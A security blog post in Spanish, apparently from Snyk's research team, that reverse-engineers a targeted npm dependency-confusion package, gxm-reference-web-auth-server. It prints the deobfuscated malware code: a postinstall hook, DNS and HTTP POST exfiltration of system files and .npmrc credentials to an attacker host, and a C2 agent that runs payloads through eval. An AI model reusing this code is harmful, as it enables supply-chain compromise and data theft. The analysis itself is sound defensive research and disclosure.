Ataque dirigido de confusión de dependencias de npm descubierto con las manos en la masa

Cronología de actualizaciones del ataque

• 10 de mayo de 2022: CodeWhite, una empresa de seguridad especializada en Red Team, se puso en contacto con nosotros por Twitter y asumió la responsabilidad por los paquetes maliciosos. Explicó que formaban parte de un ejercicio de simulación de ataques para sus clientes. ¡Felicitaciones por el elaborado ataque!

• 4 de mayo de 2022: DigitalOcean respondió que la IP de C2 pertenece a una empresa relacionada con la seguridad y que lo verificarían y nos avisarían.

• 1 de mayo de 2022: npm eliminó los paquetes maliciosos del registro.

La historia de un malware en npm

En los últimos años, hemos sido testigos de un aumento constante de paquetes maliciosos en distintos ecosistemas. En general, la gran mayoría de estos paquetes son inofensivos: recopilan información, pero no dañan la máquina infectada. Sin embargo, de vez en cuando encontramos un paquete verdaderamente malicioso que tiene un propósito, los medios y está listo para producción. Esta es la historia de uno de ellos.

Encontrar malware real en npm

Como parte del enfoque del equipo de investigación de seguridad de Snyk en la detección proactiva de paquetes maliciosos, nuestro principal objetivo es analizar y alertar sobre estos paquetes lo antes posible después de que aparezcan en el registro de un ecosistema. Para ayudarnos en esta tarea, creamos un sistema sólido con diversos mecanismos diseñados para detectar paquetes maliciosos.

En muy poco tiempo después de configurar nuestra trampa para paquetes maliciosos, ya se habían reportado muchas bibliotecas como maliciosas. Sin embargo, al investigar los hallazgos, descubrimos que muchos de los reportes eran sobre paquetes «ligeramente maliciosos».

Según nuestra definición, un paquete es «ligeramente malicioso» cuando hace una de las siguientes cosas:

• Exfiltra información de la máquina mediante consultas DNS (pero no realiza ninguna otra acción)

• Usa mineros de criptomonedas (lo cual es malo, pero no es tan interesante desde el punto de vista de la actividad maliciosa)

• Son paquetes «ligeramente maliciosos» de otros investigadores, creados principalmente para hacer pruebas

• Otras variantes de los elementos de esta lista

Finalmente encontramos un paquete muy interesante — gxm-reference-web-auth-server — y lo marcamos como malicioso. Le echamos un vistazo rápido y notamos algo diferente, así que iniciamos una máquina virtual e investigamos el archivo tarball.

Como el reporte era sobre un paquete de npm, lo primero que revisamos fue el archivo `package.json`. Como esperábamos, tenía un script post-install que ejecutaba un archivo JavaScript del paquete. Si no los conoces, los scripts post-install son una forma muy común de ejecutar scripts cuando npm termina de instalar las dependencias correspondientes, y también son una manera fácil para que los actores maliciosos ejecuten scripts en las máquinas de sus víctimas.

Al revisar el archivo ejecutado, vimos que estaba ofuscado. Sin embargo, la ofuscación no es más que una forma aparentemente sofisticada de «ocultar» el código, pero, en realidad, suele ser relativamente fácil revertirla (al menos en el mundo de JS).

El siguiente archivo del paquete que nos llamó la atención de inmediato estaba cifrado. Se nos encendieron las alarmas: era hora de investigar.

Ingeniería inversa de malware, parte 1: el envoltorio

Como mencionamos, había dos archivos adicionales en el paquete: uno ofuscado y otro cifrado:

1root@3b869b434e7d:/tmp# tar -tvf ./gxm-reference-web-auth-server-1.33.8.tgz
2-rw-r--r-- 0/0           19023 1985-10-26 08:15 package/confsettingsaaa.js
3-rw-r--r-- 0/0           97136 1985-10-26 08:15 package/obfusc.enc.js
4-rw-r--r-- 0/0             393 1985-10-26 08:15 package/package.json
5
6# unpacked the tar and:
7root@3b869b434e7d:/tmp/package# file ./*
8./confsettingsaaa.js: ASCII text, with very long lines
9./obfusc.enc.js:      data
10./package.json:       JSON data

Y el archivo package.json incluía un script post-install:

1{
2  "name": "gxm-reference-web-auth-server",
3  "version": "1.33.8",
4  "description": "",
5  "main": "index.js",
6  "scripts": {
7    "postinstall": "node confsettingsaaa.js",
8    "test": "echo \"Error: no test specified\" && exit 1"
9  },
10  "keywords": [],
11  "dependencies": {
12    "axios": "0.26.0",
13    "targz": "1.0.1",
14    "ldtzstxwzpntxqn": "^4.0.0",
15    "lznfjbhurpjsqmr": "^0.5.57",
16    "semver": "7.3.5"
17  },
18  "author": "",
19  "license": "ISC"
20}

Aunque primero nos enfocamos en el script ejecutado, también notamos las dos dependencias con nombres sin sentido, ldtzstxwzpntxqn y lznfjbhurpjsqmr, que exploraremos más adelante en este artículo.

Al revisar el archivo confsettingsaaa.js, vimos lo siguiente:

1root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
2const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const _0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const _0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))....... # trimmed

Para entender este archivo, usamos un desofuscador que lo hiciera legible. Al revisar el código, vimos que el archivo (al que luego llamaremos P1, porque es la primera parte del malware) exfiltra información del sistema operativo y del paquete mediante consultas a subdominios falsos de pkgio[.]com:

1telemetry = '.pkgio.com'
2dns.lookup(
3  replace_special_chars(os.userInfo().username) +
4  '.' +
5  replace_special_chars(os.hostname()) +
6  '.h' +
7  telemetry,
8  (err, ip_addr, ip_ver) => {
9      err && console.log(err.message)
10  }
11)
12var localpack = fs.readFileSync(
13  path.join(process.cwd(), 'package.json'),
14  'utf8'
15)
16nameresolved = JSON.parse(localpack).name
17dns.lookup(
18  replace_special_chars(nameresolved) + '.n' + telemetry,
19  (err, ip_addr, ip_ver) => {
20      err && console.log(err.message)
21  }
22)
23process.env.NO_PROXY &&
24dns.lookup(
25  replace_special_chars(process.env.NO_PROXY) + '.p' + telemetry,
26  (err, ip_addr, ip_ver) => {
27      err && console.log(err.message)
28  }
29)

Aunque este código solo exfiltra información y podría parecer inofensivo, estas exfiltraciones son valiosas para el reconocimiento del atacante, ya que le permiten identificar el objetivo y su configuración. Por cierto, los actores abusan de las consultas DNS porque estas suelen estar permitidas a través de firewalls y filtros de red. Así, pueden consultar sus propios servidores DNS y registrar las solicitudes.

Al continuar, encontramos aspectos más interesantes. Primero, todos los bloques try/catch ejecutaban una función `fail` si capturaban una excepción. Luego, vimos que el script usaba una de sus dependencias: lznfjbhurpjsqmr.

Antes de hablar de las dos dependencias, veamos primero la función (o mecanismo) fail. Cuando se invoca, hace dos cosas principales. Primero, limpia todo a su paso. La función «fail» elimina todos los archivos relacionados con el paquete y limpia:

1function fail() {
2  try {
3      fs.unlink(path.join(process.cwd(), 'package.json'), (cb) => {
4      })
5      fs.unlink(path.join(process.cwd(), 'confsettingsaaa.js'), (cb) => {
6      })
7      fs.existsSync('mac.enc.js') &&
8      fs.unlink('mac.enc.js', (cb) => {
9          if (cb) {
10          }
11      })
12      fs.existsSync('mac.dec.js') &&
13      fs.unlink('mac.dec.js', (cb) => {
14      // ...more like this

Aunque este mecanismo es ingenioso para el malware, el siguiente paso fue alarmante.

Después de la limpieza, la función crea archivos señuelo package.json e index.js, y muestra este mensaje en la consola: “Please refer to the private registry instead of the public repo; Security Team”

1fs.writeFileSync(
2  'package.json',
3  '{\n    "name": "' +
4  mypackage + // mypackage = 'gxm-reference-web-auth-server'
5  '",\n    "version": "' +
6  triggerversion + // the current package version
7  '",\n    "description": "",\n    "main": "index.js",\n    "scripts": {\n      "test": "echo \'Error: no test specified\' && exit 1"\n    },\n    "keywords": [],\n    "author": "",\n    "license": "ISC"\n  }\n  '
8)
9fs.writeFileSync(
10  'index.js',
11  "console.log('Please refer to the private registry instead of the public repo; Security Team');\nprocess.exit(-1);\n  "
12)
13console.log(
14  'Please refer to the private registry instead of the public repo; Security Team'
15)
16process.exit(-1)

Al leer esto, nos surgieron algunas preguntas: ¿Por qué el paquete malicioso no se elimina por completo? ¿Por qué finge ser un marcador de posición legítimo de un equipo de seguridad? ¿A qué organización apunta este paquete?

Aunque pudimos responder la mayoría de estas preguntas, a pesar de nuestros mejores esfuerzos por identificar y advertir al objetivo, todavía no podemos determinar a qué organización apunta. Con estas preguntas en mente, continuemos.

Las dependencias: ldtzstxwzpntxqn y lznfjbhurpjsqmr

Como se indicó arriba, el paquete instala dos dependencias: ldtzstxwzpntxqn y lznfjbhurpjsqmr. Al visitar sus páginas de npm, vimos que ambas las había publicado el mismo responsable de mantenimiento. Así se veía su página:

Fue interesante verlo y confirmó algunas de nuestras sospechas sobre los paquetes. Sin embargo, las dependencias no eran más que copias de paquetes legítimos:

Como confirmamos más adelante al auditar el resto del código, estos paquetes se usaban tal como se esperaba usar los paquetes originales. ¿Por qué se tomaría el actor el trabajo de crear estos paquetes en vez de usar los originales? No lo sabemos y probablemente nunca lo sabremos.

Filtrado de víctimas, registros privados y transición a P2

Algunas notas rápidas…

1. En la siguiente sección, cuando escribamos «el código se detiene», significa que se invocó la función fail descrita anteriormente para hacer la limpieza.

2. Como no podemos determinar a qué organización apunta, nos referiremos a ella como ORG.

El siguiente paso de P1 es obtener la configuración de autorización para los registros privados del archivo .npmrc (aquí se usa lznfjbhurpjsqmr). Si no encuentra estas configuraciones o el archivo (lo busca en toda la máquina), el código se detiene.

Si encuentra la información de autorización, intenta descargar del registro privado especificado en el archivo de configuración el mismo paquete (por nombre), probando algunas variantes, como estas:

1@ORG/gxm-reference-web-auth-server, ORG/gxm-reference-web-auth-server and gxm-reference-web-auth-server

Si no encuentra estos elementos en el registro privado o no logra descargarlos, el código se detiene. Si logra descargar el archivo tarball del registro privado, hace lo siguiente:

1. Ejecuta npm install para instalar el módulo en un subdirectorio llamado .documentation (la instalación se realiza mediante la dependencia ldtzstxwzpntxqn) o detiene la ejecución.

2. Reemplaza el contenido actual del paquete por el contenido del paquete que acaba de instalar, o detiene la ejecución.

3. Exfiltra el contenido de dos archivos relacionados con la red y el nuevo package.json mediante una solicitud POST:

1topostfiles = ['package.json', '/etc/hosts', '/etc/resolv.conf']
2for (var entry of topostfiles) {
3  if (fs.existsSync(entry)) {
4      contents = fs.readFileSync(entry, {encoding: 'base64'})
5      try {
6          axios({
7              method: 'post',
8              url: 'https://www' + telemetry + '/' + entry,
9              data: {data: contents},
10              httpsAgent: agent,
11              maxBodyLength: Infinity,
12              maxContentLength: Infinity,// …

4. Descifra y ejecuta el archivo cifrado en un nuevo proceso independiente (el algoritmo de cifrado, la clave y el IV estaban codificados en el código; hablaremos más de este archivo en la siguiente sección):

1try {
2  const child_proc = spawn('node', ['obfusc.dec.js'], {
3      cwd: process.cwd(),
4      detached: true,
5      stdio: 'ignore',
6      windowsHide: true,
7  })
8  child_proc.on('error', (err) => {
9  })
10  child_proc.unref()
11// ...

5. Limpia todos los archivos correspondientes (en este paso se limpian solo los archivos cifrados y el código de P1)

6. Finaliza.

Ahora que tenemos todo esto claro, podemos ver que, si el paquete gxm-reference-web-auth-server no está en el registro privado o este no es accesible, el malware simplemente lo omitirá.

Esto implica que:

1. El paquete apunta a una organización específica.

2. El actor detrás de estos paquetes sabe que este paquete existe en el registro privado de la organización.

Con esto, terminan todos los pasos de P1 y el «envoltorio del malware» finaliza.

Ingeniería inversa de malware, parte 2: el agente

Como el envoltorio tenía codificada la información para descifrar el archivo (suponemos que fue un error del adversario), también pudimos descifrarlo, y eso hicimos.

Al igual que el envoltorio, este archivo también estaba ofuscado y consistía en una sola línea de caracteres sin sentido. Sin embargo, esta vez al desofuscador le costó más trabajo y dejó el código lleno de acertijos:

1(() => {
2
3  // IMO webpack stuff?
4  function _0xa77521(_0x323c64) {
5      var _0x573f49 = _0x44b56a[_0x323c64]
6      if (void 0 !== _0x573f49) {
7          return _0x573f49.exports
8      }
9      var _0x3a5d0d = (_0x44b56a[_0x323c64] = {exports: {}})
10      return (
11          _0x1cc104[_0x323c64](_0x3a5d0d, _0x3a5d0d.exports, _0xa77521),
12              _0x3a5d0d.exports
13      )
14  };
15// ...

Probamos algunos otros desofuscadores, pero ninguno produjo un mejor resultado. Nos quedamos con el resultado inicial y empezamos a desofuscar el código manualmente. Tras un poco de trabajo, logramos transformar el archivo en un formato legible. Era hora de investigar el funcionamiento interno del agente.

Registro del agente

Lo primero que se le indica al agente es que se registre con el servidor de comando y control (al que nos referiremos como CNC o C2). Al hacerlo, el agente recibe tres cadenas fundamentales que se usarán para la comunicación posterior: una clave y un IV para cifrar las cargas útiles, y un UUID.

1async function init_agent() {
2  try {
3      axios({
4          method: 'POST',
5          url: c2_server + '/register',
6          data: {engine: 'nodejs'},
7          headers: {'User-Agent': useragent},
8          httpsAgent: httpsAgent,
9      }).then(function (response) {
10              key = response.data.key,
11              iv = response.data.iv,
12              uuid = response.data.uuid,
13// ...

Una vez que se completa esta solicitud, todas las comunicaciones posteriores entre el servidor C2 y el agente se cifran y descifran con estas claves y este IV (el algoritmo estaba codificado en el código). Inmediatamente después, el agente envía al servidor una solicitud POST con información sobre su entorno:

1// ​​...
2key = response.data.key,
3  iv = response.data.iv,
4  uuid = response.data.uuid,
5  os_platform = os.platform(),
6  os_arch = process.arch,
7  env = JSON.stringify(process.env),
8  node_version = process.version,
9  os_username = os.userInfo().username,
10  hostname = os.hostname
11datajson = {
12  platform: os_platform,
13  architecture: os_arch,
14  version: node_version,
15  user: os_username,
16  hostname: hostname,
17  environment: env,
18  engine: 'nodejs',
19}
20datastring = JSON.stringify(datajson)
21encryptdata = encrypt(key, iv, datastring)
22axios({
23  method: 'post',
24  url: c2_server + '/updateinfosnodejs',
25  data: {
26      identity: uuid,
27      data: encryptdata,
28  },
29  headers: {'User-Agent': useragent},
30  httpsAgent: httpsAgent,
31// ...

Una vez enviada esta solicitud, el agente pasa al siguiente paso.

El ciclo de ejecución

El ciclo de ejecución del agente es bastante sencillo. Incluye unas cuantas condiciones if-else para varios comandos y los ejecuta según las instrucciones del servidor C2. Por ejemplo, el agente puede eliminarse si recibe el comando delete o evaluar un fragmento de código si el C2 se lo envía:

1// ...
2try {
3  if (
4      ((response = ''), await sleep(agent_sleep), "delete" == command_type)
5  ) {
6      return false  // agent lives as a process, so a “return” equals termination
7  }
8  if ('exec' == command_type || "eval" == command_type) {
9      try {
10          response = eval(payload)
11      } catch (error) {
12          response = error.message
13      }
14  } else { // data and file exfiltration
15      if ('upload' == command_type) {
16// ...

En conjunto, el agente responde a los siguientes comandos:

1["download", "upload", "exec", "eval", "delete", "register"] 

Al revisar la lista, ten en cuenta que exec o eval pueden ejecutar un shell inverso que le daría al atacante control total sobre la máquina infectada. También ten en cuenta que la opción register, si se vuelve a invocar, permite que el agente y el servidor C2 intercambien su información de cifrado y generen información nueva, por si quieren cambiarla.

Aunque esta funcionalidad pueda parecer única o sofisticada, en el mundo de los agentes C2 es una función estándar de un agente que instalarías en la máquina de una víctima. En cualquier caso, no pudimos relacionar el código fuente del agente con ningún framework C2 conocido.

Conclusiones sobre el malware

Ahora que entendemos por completo el malware, podemos concluir lo siguiente:

1. El malware apunta a una sola empresa, aún desconocida. Sin embargo, según la información obtenida durante la ingeniería inversa, se espera que esta empresa tenga el paquete “gxm-reference-web-auth-server” en su registro privado.

2. Como el paquete se busca a sí mismo en el registro privado de la víctima, también podemos clasificar esto como un ataque de confusión de dependencias, un tipo de ataque a la cadena de suministro.

3. Es probable que los atacantes tuvieran información sobre la existencia de este paquete en el registro privado de la empresa.

En este punto, aunque entendíamos claramente cómo funcionaba el paquete, decidimos comprobar si el servidor C2 respondía y si se trataba de una campaña activa. Era hora de hacernos pasar por alguien más.

Jugar «Among Us» con un adversario

La idea para nuestro siguiente experimento era sencilla. Queríamos saber si había alguien al otro lado de la línea y, de ser así, averiguar si estaba activo. Para hacerlo, teníamos que:

1. Usar el agente sin el wrapper (P1 filtraría nuestro cliente por falta de credenciales de .npmrc, etc.)

2. Interceptar y registrar todo el tráfico HTTP/S (queríamos ver qué enviaba y recibía el servidor C2)

3. Transferirnos los datos registrados de forma unidireccional, irreversible e imposible de rastrear (esto es importante porque el atacante también puede acceder a la máquina)

Pero, antes de llevar a cabo estos pasos, queríamos recopilar información sobre el servidor.

¿Hay alguien ahí?

Recopilamos información sobre el servidor mediante análisis estándar de WHOIS y Nmap. Los resultados de WHOIS indicaron que el servidor está alojado en DigitalOcean (a quienes reportamos la IP del servidor), y los análisis de Nmap mostraron lo siguiente:

1PORT     STATE SERVICE    VERSION
222/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
32000/tcp open  tcpwrapped
43306/tcp open  mysql      MySQL 5.5.5-10.1.35-MariaDB-1
55060/tcp open  tcpwrapped
68080/tcp open  http       Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
78443/tcp open  ssl/http   Apache httpd
8Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El servidor no es muy seguro y está activo y escuchando.

El impostor

Volviendo a nuestro plan, teníamos que preparar lo siguiente:

1. Código del agente: Lo obtuvimos durante la fase de descifrado y podemos ejecutarlo por separado del wrapper (P1).

2. Interceptores: Teníamos que implementarlos en el entorno NodeJS, ya que el agente usaba módulos HTTP/S de NodeJS.

3. Canalización de registro: Decidimos usar €‹ €‹Pipedream porque permite gestionar las solicitudes HTTP/S con mucho detalle y ya incluye varias integraciones (como almacenamiento de valores, integración con Slack y más).

Para la interceptación, usamos la biblioteca @gr2m/http-recorder, que hacía exactamente lo que buscábamos: capturar y manipular por completo las solicitudes HTTP/S.

Al combinar los pasos 1 y 2, obtuvimos el siguiente fragmento:

1httpRecorder.start();
2httpRecorder.addListener(
3  'record',
4  ({request, response, requestBody, responseBody}) => {
5
6      if (request.host === hostname) { // we emit http requests as well, but don't want to loop infinitely
7          return;
8      }
9
10      const buffer = [];
11
12      const {method, protocol, host, path} = request;
13      const reqHeaders = request.getHeaders();
14
15      buffer.push({
16          type: 'request',
17          method,
18          protocol,
19          host,
20          path,
21          headers: reqHeaders,
22          body: Buffer.concat(requestBody).toString()
23      })
24      const {statusCode, statusMessage, headers: responseHeaders} = response;
25      buffer.push({
26          type: 'response',
27          statusCode,
28          statusMessage,
29          headers: responseHeaders,
30          body: Buffer.concat(responseBody).toString()
31      })
32
33      send(Buffer.from(JSON.stringify(buffer)).toString('base64'))
34  }
35);
36console.log('[+] Invoking malware...');
37require('./mal') // here we invoke the agent itselfconsole.log('[+] Malware running! ☠');

Solo faltaba enviarlo. Con Pipedream, configuramos la función send para que enviara la carga útil a nuestro endpoint y pudiéramos procesarla.

Para procesar los datos, guardamos el IV y la clave para poder descifrar los mensajes. También integramos la canalización de Pipedream con un espacio de trabajo anónimo de Slack y configuramos el registro de los mensajes allí. Así, cada vez que el agente y el servidor C2 intercambiaban mensajes, recibíamos una notificación de Slack con toda la información descifrada y legible. A continuación, se muestra una ilustración de la configuración de nuestra máquina infectada:

Y aquí hay un ejemplo de los resultados en Slack:

Y así, nuestro pseudo honeypot estaba listo.

Hola, soy yo

Poco después de que nuestro agente falso se activara y se comunicara con el servidor C2, empezaron a llegar comandos. El primer comando fue un ls, seguido de un intento del actor de usar cat para leer todos los archivos visibles y explorar el sistema. Este es un ejemplo de uno de los comandos recibidos (tras decodificarlo desde base64):

En ese momento, decidimos detener el experimento, ya que habíamos logrado nuestro objetivo: determinar si había alguien al otro lado.

Esto implica que hay una campaña activa contra los propietarios del “gxm-reference-web-auth-server” original/privado.

Pero espera, hay más

Justo antes de concluir el experimento, notamos algo interesante. Aparte de la dirección C2, había pocos valores codificados de forma fija; uno de ellos era el valor de la propiedad “engine” en la llamada inicial a /register:

1async function init_agent() {
2  try {
3      axios({
4          method: 'POST',
5          url: c2_server + '/register',
6          data: {engine: 'nodejs'}, // ← but why?
7          headers: {'User-Agent': useragent},
8          httpsAgent: httpsAgent,
9      }).then( // … )

Como ya no nos preocupaba pasar desapercibidos, decidimos probar distintos valores para ver si había otros tipos de objetivos. Al cabo de un tiempo, encontramos más tipos de engine:

1root@3b869b434e7d:/tmp/package# ./opts.sh
2[!] response for engine = nodejs
3{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoiDWzYJwrNIgYoonpTRmQhzJvcl","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}
4
5[!] response for engine = go
6{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKCVOFpdkgobVpDjbNXojwPmvbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}
7
8[!] response for engine = browser
9{"uuid":"f820fc90-9618-4d90-9991-9d70cdc1d4f8"}

Esto implica que hay al menos un agente de navegador y uno de Golang, y no es descabellado suponer que hay más.

Divulgación y próximos pasos

Aunque conocemos el funcionamiento interno de este malware, no podemos saber qué organización o empresa es el objetivo. Por eso, queremos usar esta plataforma (junto con Twitter, etc.) para pedirle a la comunidad que advierta sobre este paquete y se mantenga alerta. También pueden contactarnos (o enviarnos un mensaje directo a @snyksec) si tienen preguntas o inquietudes al respecto.

También nos comunicamos con DigitalOcean para pedirles que retiraran el servidor C2 de su servicio, y con npm para informarles sobre los paquetes maliciosos y pedirles que los retiraran.

Dicho esto, aquí termina nuestro recorrido. Los ataques son complejos y sofisticados, pero queremos señalar que el vector de infiltración inicial de este ataque es un simple conflicto de dependencias de paquetes, que es fácil de mitigar. Para ver el flujo de trabajo completo de este ataque, consulta la imagen de abajo. ¡Cuídate y mantente a salvo!